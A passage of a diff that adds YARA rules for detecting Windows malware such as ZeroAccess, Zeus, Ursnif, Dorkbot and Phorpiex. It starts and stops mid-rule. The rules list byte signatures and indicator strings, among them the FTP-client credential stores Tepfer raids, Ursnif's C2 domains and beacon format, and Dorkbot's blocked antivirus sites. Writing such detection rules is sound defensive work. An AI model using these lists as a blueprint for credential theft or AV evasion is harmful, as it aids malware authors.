+		$hex2 = { 83 ec 5c 56 8d ?? ?? ?? 50 68 ff 01 0f 00 83 ce ff 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? 57 8d ?? ?? ?? 51 6a 01 6a 00 68 90 61 01 10 68 ff 01 0f 00 52 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 6a 04 8d ?? ?? ?? 50 6a 0c 51 ff ?? ?? ?? ?? ?? 6a 40 8d ?? ?? ?? 6a 00 52 c7 ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? 83 c4 0c 8d ?? ?? ?? 50 8b ?? ?? ?? 8d ?? ?? ?? 51 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 52 6a 00 50 c7 ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8b ?? ?? ?? 51 ff d7 8b ?? ?? ?? 8b ?? ?? ?? 52 ff d7 8b ?? ?? ?? 50 ff d7 5f 8b c6 5e 83 c4 5c c2 08 00}
+		$hex3 = { 56 8b f2 e8 ?? ?? ?? ?? 85 c0 74 ?? 83 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 20 8b 00 10 6a 00 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? b8 01 00 00 00 5e c3 33 c0 5e c3}
+		$hex4 = { 53 8b d9 8b ca e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 56 68 20 ca 01 10 ff ?? ?? ?? ?? ?? 8b f0 ff ?? ?? ?? ?? ?? ba f8 34 01 10 8b ce 57 8b ff 66 ?? ?? 66 ?? ?? 75 ?? 66 85 ff 74 ?? 66 ?? ?? ?? 66 ?? ?? ?? 75 ?? 83 c1 04 83 c2 04 66 85 ff 75 ?? 33 c9 eb ?? 1b c9 83 d9 ff 85 c9 75 ?? 68 10 35 01 10 50 ff ?? ?? ?? ?? ?? 83 c4 08 85 c0 74 ?? 68 30 be 00 10 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 00 6a 00 68 b0 04 00 00 68 a0 89 00 10 6a 00 6a 00 ff d6 8b ?? ?? ?? ?? ?? 50 ff d7 e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 20 83 00 10 6a 00 6a 00 ff d6 50 ff d7 5f 5e b8 01 00 00 00 5b c3 e8 ?? ?? ?? ?? 85 c0 74 ?? 68 30 be 00 10 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b c3 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 80 bd 00 10 6a 00 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 5f 5e b8 01 00 00 00 5b c3 5f 5e 33 c0 5b c3 83 ?? ?? ?? ?? ?? ?? 74 ?? 8b c3 e8 ?? ?? ?? ?? b8 01 00 00 00 5b c3 33 c0 5b c3}
+
+
+	condition:
+		(5 of them) or (any of ($hex*))
+}
+
+rule TrojanSirefefZerroAccessPlayloadModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "U\\80000032.@" ascii wide
+		$ = "\\\\.\\globalroot\\systemroot\\system32\\mswsock.dll" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.AcceptEx" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.GetAcceptExSockaddrs" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.NSPStartup" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.TransmitFile" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.getnetbyname" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.inet_network" ascii wide
+		$ = "%sU\\%08x.@" ascii wide
+		$ = "\\??\\%s@" ascii wide
+		$ = "\\??\\%sU" ascii wide
+		$ = "\\registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters" ascii wide
+		$ = "\\KnownDlls\\mswsock.dll" ascii wide
+		$ = "\\systemroot\\assembly" ascii wide
+		$ = "GAC_MSIL" ascii wide
+		$ = "GAC" ascii wide
+		$ = "????????.@" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+		
+		$ = "\\systemroot\\assembly\\GAC\\Desktop.ini" ascii wide
+
+	condition:
+		(5 of them)
+}
+
+rule TrojanSirefefZerroAccessPluginModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$hex0 = { 55 8b ec 81 ec 94 01 00 00 56 68 30 40 00 10 68 00 00 10 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f0 81 fe 00 00 00 40 75 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 85 f6 8b ?? ?? ?? ?? ?? 7c ?? 8d ?? ?? ?? ?? ?? 50 68 02 02 00 00 ff ?? ?? ?? ?? ?? 85 c0 75 ?? e8 ?? ?? ?? ?? 6a 20 68 60 ea 00 00 b9 80 40 00 10 e8 ?? ?? ?? ?? 69 c0 e8 03 00 00 50 6a 00 68 b7 15 00 10 6a 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 74 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 6a ff ff ?? ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff d6 a1 ?? ?? ?? ?? 85 c0 74 ?? b9 fb 15 00 10 ff ?? ?? e8 ?? ?? ?? ?? 68 28 40 00 10 6a 01 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff d6}
+		$hex1 = { 81 ?? ?? ?? ?? ?? 56 57 8b f9 75 ?? b9 fb 15 00 10 89 ?? ?? ?? ?? ?? ff ?? ?? 8b ?? ?? ?? ?? ?? 68 08 32 00 10 57 ff d6 59 59 50 b9 80 40 00 10 e8 ?? ?? ?? ?? 68 f0 31 00 10 57 ff d6 59 59 33 c9 8b d0 41 e8 ?? ?? ?? ?? 33 c0 50 50 50 68 85 16 00 10 50 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 33 c0 5f 40 5e c3}
+		$hex2 = { 55 8b ec 81 ec 90 00 00 00 53 56 57 6a 40 5e 8b d9 6a 04 8b c6 66 ?? ?? ?? 58 33 ff 57 66 ?? ?? ?? 57 8d ?? ?? 50 ff ?? ?? c7 ?? ?? ?? ?? ?? ?? c6 ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? c6 ?? ?? ?? ff ?? ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 6a 20 8d ?? ?? 6a 07 89 ?? ?? 8d ?? ?? 50 8d ?? ?? 50 89 ?? ?? 68 98 00 10 00 8d ?? ?? 56 c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ff ?? ?? ?? ?? ?? 85 c0 7c ?? 57 57 6a 18 68 0c 40 00 10 57 6a 60 8d ?? ?? ?? ?? ?? 50 8d ?? ?? 50 ff ?? e8 ?? ?? ?? ?? 85 c0 7c ?? 8d ?? ?? ?? ?? ?? 33 c9 03 c1 80 ?? ?? ?? 75 ?? 8b ?? ?? 81 f9 30 30 31 00 74 ?? 81 f9 30 30 32 00 75 ?? 66 ?? ?? ?? ?? 75 ?? 8b ?? ?? 89 ?? ?? eb ?? 66 ?? ?? ?? ?? 75 ?? 6a 10 8d ?? ?? 8d ?? ?? 59 f3 ?? 33 ff 8b ?? 3b cf 75 ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 33 d2 b9 80 51 01 00 f7 f1 6a 4c 53 66 ?? ?? ?? 8d ?? ?? 50 ff ?? ?? e8 ?? ?? ?? ?? 39 ?? ?? 75 ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 57 8b cb 89 ?? ?? e8 ?? ?? ?? ?? 5f 5e 5b c9 c2 04 00}
+		
+		$hex3 = { 55 8b ec 83 ec 74 53 56 57 be 30 00 fe 7f 56 ff ?? ?? ?? ?? ?? 59 8d ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? 68 94 60 00 10 56 ff ?? ?? ff ?? ?? ?? ?? ?? 59 59 50 ff ?? ?? ?? ?? ?? 59 59 33 db 53 53 ff ?? ?? ?? ?? ?? 8b f0 3b f3 0f ?? ?? ?? ?? ?? 6a 70 8d ?? ?? 53 50 e8 ?? ?? ?? ?? 83 c4 0c 6a 70 8d ?? ?? 50 33 ff 6a 09 47 56 c7 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? 9c 81 ?? ?? ?? ?? ?? ?? 9d 90 68 08 70 00 10 57 8b ?? ?? ?? ?? ?? ff d7 85 c0 75 ?? 38 ?? ?? ?? ?? ?? 75 ?? ff ?? ?? ff ?? ?? 56 e8 ?? ?? ?? ?? 38 ?? ?? ?? ?? ?? 75 ?? 68 00 70 00 10 6a 01 ff d7 85 c0 74 ?? 56 ff ?? ?? ?? ?? ?? 33 c0 8d ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex4 = { 55 8b ec 51 53 56 57 68 24 70 00 10 68 00 00 10 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f8 81 ff 00 00 00 40 75 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 33 f6 3b fe 7c ?? 56 56 ff ?? ?? 68 88 13 00 10 56 56 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b f8 3b fe 74 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 57 c6 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 56 56 57 ff ?? ?? ?? ?? ?? 57 ff d3 ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff d3 ff ?? ?? ff ?? ?? ?? ?? ??}
+		$hex5 = { 53 56 57 8b d9 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 9c 81 ?? ?? ?? ?? ?? ?? 9d 90 53 ff ?? ?? ?? ?? ?? 59 6a 02 5a 8d ?? ?? ?? 33 c9 f7 e2 0f 90 c1 33 ff f7 d9 0b c1 50 57 ff ?? ?? ?? ?? ?? 8b f0 3b f7 74 ?? 53 68 50 61 00 10 56 ff ?? ?? ?? ?? ?? 83 c4 0c 57 57 56 68 77 14 00 10 57 57 ff ?? ?? ?? ?? ?? 3b c7 74 ?? 50 ff ?? ?? ?? ?? ?? 33 c0 40 eb ?? 56 ff ?? ?? ?? ?? ?? 33 c0 5f 5e 5b c3}
+
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanSirefefZerroAccessPluginModuleZooCliccer
+{
+	meta:
+		Description  = "Trojan.ZooClicker.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\00000001.@" ascii wide                                                                                                                                                                                                                                                                                                                                                                   
+		$ = "z00clicker3"  ascii wide  
+		$ = "z00clicker"  ascii wide
+
+	condition:
+		any of them
+}
+
+rule TrojanSirefefZerroAccess2016
+{
+	meta:
+		Description  = "Trojan.Sirefef.E.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "GoogleUpdate.exe" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+
+		$s1 = "\\Google\\Desktop\\Install\\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\\#." ascii wide
+		$s2 = "\\BaseNamedObjects\\Restricted\\{12E9D947-EDF5-4191-AADB-F51815F004D8}" ascii wide
+		$s3 = "\\BaseNamedObjects\\Restricted\\{889E2280-F15E-4330-A3F4-D4EEF899AAF6}" ascii wide
+		$s4 = "\\BaseNamedObjects\\Restricted\\{1FD06E7A-B215-4ae2-B209-AC869A3DF0B7}" ascii wide
+		$s5 = "\\BaseNamedObjects\\Restricted\\{A3D35150-6823-4462-8C6E-7417FF841D7A}" ascii wide
+		$s6 = "80000000.@" ascii wide
+		$s7 = "=cccctp=ddddt:=rrrrt<=sssst" ascii wide
+		$s8 = "=ccccta=ddddt+=rrrrt-=sssst" ascii wide
+
+	condition:
+		(3 of them) or (any of ($s*))
+}rule TrojanUpatreSample
+{
+    meta:
+        Description = "Trojan.Upatre.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $hex_string = { 52 ba 6c 6c 00 00 52 ba 73 66 2e 64 52 ba 32 5c 71 61 52 ba 74 65 6d 33 52 ba 5c 73 79 73 52}
+
+    condition:
+        $hex_string
+}rule TrojanVirtoolObfuscator
+{
+		meta:
+			Description = "Trojan.Obfuscator.rc"
+			ThreatLevel = "5"
+			
+		strings:
+			$ = "1346243623461" ascii wide
+			$ = "3nterface" ascii wide
+		condition:
+			all of them
+}rule TrojanPSWTepferSample
+{
+	meta:
+		Description  = "Trojan.Tepfer.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Software\\BPFTP"                                    ascii wide
+		$ = "\\BulletProof Software\\BulletProof FTP Client"     ascii wide
+		$ = "Software\\BPFTP\\Bullet Proof FTP"                  ascii wide
+		$ = "Software\\NCH Software\\ClassicFTP\\FTPAccounts"    ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP"                             ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP Pro"                         ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP Lite"                        ascii wide
+		$ = "\\CuteFTP"                                          ascii wide
+		$ = "\\GPSoftware\\Directory Opus\\ConfigFiles\\ftp.oxc" ascii wide
+		$ = "SOFTWARE\\Far\\Plugins\\FTP\\Hosts"                 ascii wide
+		$ = "SOFTWARE\\Far2\\Plugins\\FTP\\Hosts"                ascii wide
+		$ = "Software\\Far\\Plugins\\FTP\\Hosts"                 ascii wide
+		$ = "Software\\Far2\\Plugins\\FTP\\Hosts"                ascii wide
+		$ = "Software\\Far\\SavedDialogHistory\\FTPHost"         ascii wide
+		$ = "Software\\Far2\\SavedDialogHistory\\FTPHost"        ascii wide
+		$ = "Software\\Ghisler\\Windows Commander"				 ascii wide
+		$ = "Software\\Ghisler\\Total Commander"				 ascii wide
+		$ = "Software\\Sota\\FFFTP"                              ascii wide
+		$ = "Software\\FileZilla"                                ascii wide
+		$ = "FileZilla3"                                         ascii wide
+		$ = "FlashFXP"                                           ascii wide
+		$ = "FTP Commander Pro"                                  ascii wide
+		$ = "FTP Navigator"                                      ascii wide
+		$ = "FTP Commander"                                      ascii wide
+		$ = "FTP Commander Deluxe"                               ascii wide
+		$ = "Software\\FTP Explorer\\Profiles"                   ascii wide
+		$ = "\\FTP Explorer\\profiles.xml"                       ascii wide
+		$ = "Windows/Total Commander"                            ascii wide
+		$ = "FTP Commander"                                      ascii wide
+		$ = "BulletProof FTP Client"                             ascii wide
+		$ = "TurboFTP"                                           ascii wide
+		$ = "SoftX FTP Client"                                   ascii wide
+		$ = "LeapFTP"                                            ascii wide
+		$ = "WinSCP"                                             ascii wide
+		$ = "32bit FTP"                                          ascii wide
+		$ = "FTP Control"                                        ascii wide
+		$ = "SecureFX"                                           ascii wide
+		$ = "BitKinex"                                           ascii wide
+		$ = "CuteFTP"                                            ascii wide
+		$ = "WS_FTP"                                             ascii wide
+		$ = "FFFTP"                                              ascii wide
+		$ = "Core FTP"                                           ascii wide
+		$ = "WebDrive"                                           ascii wide
+		$ = "Classic FTP"                                        ascii wide
+		$ = "Fling"                                              ascii wide
+		$ = "NetDrive"                                           ascii wide
+		$ = "FileZilla"                                          ascii wide
+		$ = "FTP Explorer"                                       ascii wide
+		$ = "SmartFTP"                                           ascii wide
+		$ = "FTPRush"                                            ascii wide
+		$ = "UltraFXP"                                           ascii wide
+		$ = "Frigate3 FTP"                                       ascii wide
+		$ = "BlazeFtp"				ascii wide
+		$ = "Software\\LeechFTP"	ascii wide
+		$ = "SiteInfo.QFP"			ascii wide
+		$ = "WinFTP"				ascii wide
+		$ = "FreshFTP"				ascii wide
+		$ = "BlazeFtp"				ascii wide
+	condition:
+		9 of them
+}rule TrojanZeusZbotSampleA
+{
+	meta:
+		Description  = "Trojan.ZBot.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "-m" ascii wide
+		$ = "-m%p" ascii wide
+		$ = ":d\\r\\ndel" ascii wide
+		$ = "@echo off\\r\\n%s\\r\\ndel /F" ascii wide
+		$hex0 = { 83 EC 0C 53 55 33 DB 56 8B C2 33 ED 57 89 44 24 18 89 4C 24 10 39 5C 24 20 0F 8E ?? ?? ?? ?? 8B 04 A8 83 3C C5 }
+		$hex1 = { E8 ?? ?? ?? ?? 83 C4 04 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 15 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? 8B 45 08 83 C0 08 A3 ?? ?? ?? ?? 8B 4D FC 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? }
+        $hex2 = { 6A 02 6A 00 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 08 56 E8 ?? ?? ?? ?? EB 02 8A C3 84 C0 74 28 F6 44 24 36 08 75 0A E8 ?? ?? ?? ?? 83 4C 24 36 08 F6 44 24 36 40 75 0A E8 ?? ?? ?? ?? 83 4C 24 36 40 56 E8 ?? ?? ?? ?? 8D 44 24 08 50 E8 ?? ?? ?? ?? 8A C3 EB 02 32 C0 5E 5B 8B E5 5D C3 }
+        $hex3 = { 55 8b ec 81 ec 70 03 00 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 50 68 28 59 40 00 8d ?? ?? ?? ?? ?? 68 6c 02 00 00 50 e8 ?? ?? ?? ?? 83 c4 14 85 c0 7e ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 84 c0 74 ?? b0 01 eb ?? 32 c0 c9 c2 04 00}
+        $hex4 = { 55 8b ec 83 e4 f8 81 ec 4c 02 00 00 53 8b ?? ?? ?? ?? ?? 56 57 33 ff c6 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 57 6a 02 e8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 f8 ff 0f ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? 8b ?? ?? ?? 3b cf 0f ?? ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 0f ?? ?? ?? ?? ?? 33 c0 39 ?? ?? ?? 76 ?? 8b ?? ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 40 3b ?? ?? ?? 72 ?? 51 e8 ?? ?? ?? ?? 89 ?? ?? ?? 3b c7 0f ?? ?? ?? ?? ?? ff ?? ?? ?? 57 68 00 04 00 00 ff ?? ?? ?? ?? ?? 8b f0 3b f7 0f ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 56 e8 ?? ?? ?? ?? 56 8b f8 ff d3 85 ff 74 ?? 8b ?? ?? ?? 3b ?? ?? ?? ?? ?? 75 ?? ff ?? ff ?? ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 75 ?? 8b ?? 50 a1 ?? ?? ?? ?? 8b ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 8b ?? ?? ?? 8d ?? ?? ?? ?? ?? ?? 50 8d ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 74 ?? 8b ?? ?? ?? 8b ?? ?? ?? 8b ?? ?? ?? ff ?? ?? ?? ff ?? ?? ?? ff ?? ?? ?? 89 ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 74 ?? c6 ?? ?? ?? ?? 57 e8 ?? ?? ?? ?? 33 ff ff ?? ?? ?? ff d3 8d ?? ?? ?? 50 ff ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ff d3 39 ?? ?? ?? 0f ?? ?? ?? ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? 8a ?? ?? ?? 5f 5e 5b 8b e5 5d c3}
+
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}
+rule TrojanSpyWin32UrsnifASample
+{
+	meta:
+		Description  = "Trojan.Ursnif.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "CreateProcessNotify" ascii wide
+		$ = "rundll32" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls" ascii wide
+		$ = "iexplore.exe" ascii wide
+		$ = "firefox.exe" ascii wide
+		$ = "Software\\AppDataLow\\Software\\Microsoft\\Internet Explorer\\Security\\AntiPhishing" ascii wide
+		$ = "/UPD" ascii wide
+		$ = "/sd %lu" ascii wide
+		$ = "%lu.bat" ascii wide
+		$ = "attrib -r -s -h %%1" ascii wide
+		$ = "S:(ML;;NW;;;LW)" ascii wide
+		$ = "D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)" ascii wide
+		$ = "%lu.exe" ascii wide                                                                                                                                                         
+		$ = "mashevserv.com" ascii wide                                                                       
+		$ = "ericpotic.com" ascii wide                                                                                                                                                                                                                             
+		$ = "version=%u&user=%x%x%x%x&server=%u&id=%u&crc=%x&aid=%u" ascii wide                                                                                                       
+		$ = "CHROME.DLL" ascii wide                                                                                                                                                                                                                                   
+		$ = "chrome.exe" ascii wide                                                                            
+		$ = "opera.exe"  ascii wide                                                                            
+		$ = "safari.exe" ascii wide                                                                            
+		$ = "explorer.exe" ascii wide
+
+	condition:
+		6 of them
+}rule ChirBSample
+{
+    meta:
+        Description = "Virus.Chir.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "runouce.exe" ascii wide
+        $ = "imissyou@btamail.net.cn" ascii wide
+        $ = "ChineseHacker-2" ascii wide
+
+    condition:
+        all of them
+}rule FileVirusWin32MaganASample
+{
+	meta:
+		Description  = "Virus.Madang.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$hex_string = { 60 78 ?? 79 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? e8 ?? ?? ?? ?? 61 78 ?? 79 ?? ?? 68 ?? ?? ?? ?? C3 }
+
+	condition:
+		any of them
+}rule WormWin32CridexSamlpeE
+{
+	meta:
+		Description  = "Worm.Cridex.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Software\\Microsoft\\Windows NT\\C%08X" ascii wide   
+		$ = "<server><![CDATA[%%u.%%u.%%u.%%u:%%u]]>" ascii wide
+		$ = "KB%08d.exe" ascii wide
+		$ = "Local\\XME%08X" ascii wide
+		$ = "Local\\XMM%08X" ascii wide
+		$ = "Local\\XMI%08X" ascii wide
+		$ = "Local\\XMS%08X" ascii wide                                                                                                     
+		$ = "Local\\XMF%08X" ascii wide                                                                                                                                                                                                              
+		$ = "Local\\XMR%08X" ascii wide                                                                                                                                                                                                        
+		$ = "Local\\XMQ%08X" ascii wide                                                                                                     
+		$ = "Local\\XMB%08X" ascii wide 
+	condition:
+		2 of them
+}rule WormWin32DorkbotSamlpeA
+{
+ meta:
+  Description  = "Worm.Dorkbot.sm"
+  ThreatLevel  = "5"
+
+ strings:
+	$ = "from removing our bot file!" ascii wide
+	$ = "from moving our bot file" ascii wide
+	$ = "Message hijacked!" ascii wide
+	$ = "popgrab" ascii wide
+	$ = "ftpgrab" ascii wide
+	$ = "s.Blocked possible browser exploit pack call on URL" ascii wide
+	$ = "webroot." ascii wide
+	$ = "fortinet." ascii wide
+	$ = "virusbuster.nprotect." ascii wide
+	$ = "gdatasoftware." ascii wide
+	$ = "virus." ascii wide
+	$ = "precisesecurity." ascii wide
+	$ = "lavasoft." ascii wide
+	$ = "heck.tc" ascii wide
+	$ = "emsisoft." ascii wide
+	$ = "onlinemalwarescanner." ascii wide
+	$ = "onecare.live." ascii wide
+	$ = "f-secure." ascii wide
+	$ = "bullguard." ascii wide
+	$ = "clamav." ascii wide
+	$ = "pandasecurity." ascii wide
+	$ = "sophos." ascii wide
+	$ = "malwarebytes." ascii wide
+	$ = "sunbeltsoftware." ascii wide
+	$ = "norton." ascii wide
+	$ = "norman." ascii wide
+	$ = "mcafee." ascii wide
+	$ = "symantec" ascii wide
+	$ = "comodo." ascii wide
+	$ = "avast." ascii wide
+	$ = "avira." ascii wide
+	$ = "avg." ascii wide
+	$ = "bitdefender." ascii wide
+	$ = "eset." ascii wide
+	$ = "kaspersky." ascii wide
+	$ = "trendmicro." ascii wide
+	$ = "iseclab." ascii wide
+	$ = "virscan." ascii wide
+	$ = "garyshood." ascii wide
+	$ = "viruschief." ascii wide
+	$ = "jotti." ascii wide
+	$ = "threatexpert." ascii wide
+	$ = "novirusthanks." ascii wide
+	$ = "virustotal." ascii wide
+	$ = "you stupid cracker" ascii wide
+	$ = "ngrBot Error" ascii wide
+	$ = "Slowloris]: Finished flood on" ascii wide
+	$ = "UDP]: Finished flood on" ascii wide
+	$ = "SYN]: Finished flood on" ascii wide
+	$ = "USB]: Infected %s" ascii wide
+	$ = "MSN]: Updated MSN spread message to" ascii wide
+	$ = "MSN]: Updated MSN spread interval to" ascii wide
+	$ = "HTTP]: Updated HTTP spread message to" ascii wide
+	$ = "HTTP]: Injected value is now %s." ascii wide
+	$ = "HTTP]: Updated HTTP spread interval to" ascii wide
+	$ = "Visit]: Visited" ascii wide
+	$ = "DNS]: Blocked" ascii wide
+	$ = "RSOCK4]: Started rsock4" ascii wide
+	$ = "Visit]: Error visitng" ascii wide
+	$ = "FTP Login]: %s" ascii wide
+	$ = "POP3 Login]: %s" ascii wide
+	$ = "FTP Infect]: %s was iframed" ascii wide
+	$ = "HTTP Login]: %s" ascii wide
+	$ = "HTTP Traffic]: %s" ascii wide
+	$ = "Ruskill]: Detected File:" ascii wide
+	$ = "Ruskill]: Detected DNS:" ascii wide
+	$ = "Ruskill]: Detected Reg:" ascii wide
+	$ = "PDef+]: %s" ascii wide
+	$ = "DNS]: Blocked DNS" ascii wide
+	$ = "MSN]: %s" ascii wide
+	$ = "HTTP]: %s" ascii wide
+ condition:
+  8 of them
+}
+
+rule WormWin32DorkbotSamlpeB
+{
+ 	meta:
+ 		Description  = "Worm.Dorkbot.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "http://ht.ly/jZH8A?yd=" ascii wide
+		$ = "DecriptedFiles" ascii wide
+		$ = "Infected Drive: %s" ascii wide
+		$a = "snkb00pt" ascii wide
+
+ 	condition:
+ 		(3 of them) or $a
+}rule WormWin32PhorpiexSampleM
+{
+	meta:
+		Description  = "Worm.Phorpiex.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "paltalk.exe" ascii wide
+		$ = "Xfire.exe" ascii wide
+		$ = "googletalk.exe" ascii wide
+		$ = "Skype.exe" ascii wide
+		$ = "http://goo.gl" ascii wide
+		
+		$ = "qemu" ascii wide
+		$ = "virtual" ascii wide
+		$ = "vmware" ascii wide
+		$ = "%s\\winsvcon.txt" ascii wide
+		$ = "%s\\rmrf%i%i%i%i.bat" ascii wide
+		$ = "%s%s.txt" ascii wide
+		$ = "%s%s.zip" ascii wide
+		$ = "IMG%s-JPG.scr" ascii wide
+		$ = "Microsoft Windows Manager" ascii wide
+		$ = "winbtc.exe" ascii wide
+		$ = "winmgr.exe" ascii wide
+		$ = "winraz.exe" ascii wide
+		$ = "winsam.exe" ascii wide
+		$ = "winsvc.exe" ascii wide
+		$ = "winsvn.exe" ascii wide
+		$ = ".exe" ascii wide
+		$ = ".bat" ascii wide
+		$ = ".vbs" ascii wide
+		$ = ".pif" ascii wide
+		$ = ".cmd" ascii wide
+		$ = "%s\\autorun.inf" ascii wide
+		
+		$ = "ti piace la foto?" ascii wide
+		$ = "hai visto questa foto?" ascii wide
+		$ = "la foto e grandiosa!" ascii wide
+		$ = "ti ricordi la Foto?" ascii wide
+		$ = "conosci la persona in questa foto?" ascii wide
+		$ = "chi e in questa foto?" ascii wide
+		$ = "nu imi mai voi face niciodat poze!! toate ies urate ca asta." ascii wide
+		$ = "spune-mi ce crezi despre poza asta." ascii wide
+		$ = "asta e ce-a mai funny poza! tu ce zici?" ascii wide
+		$ = "zimi ce crezi despre poza asta?" ascii wide
+		$ = "pogled na ovu sliku" ascii wide
+		$ = "bu resmi bakmak" ascii wide
+		$ = "pozri sa na tento obr" ascii wide
+		$ = "pogled na to sliko" ascii wide
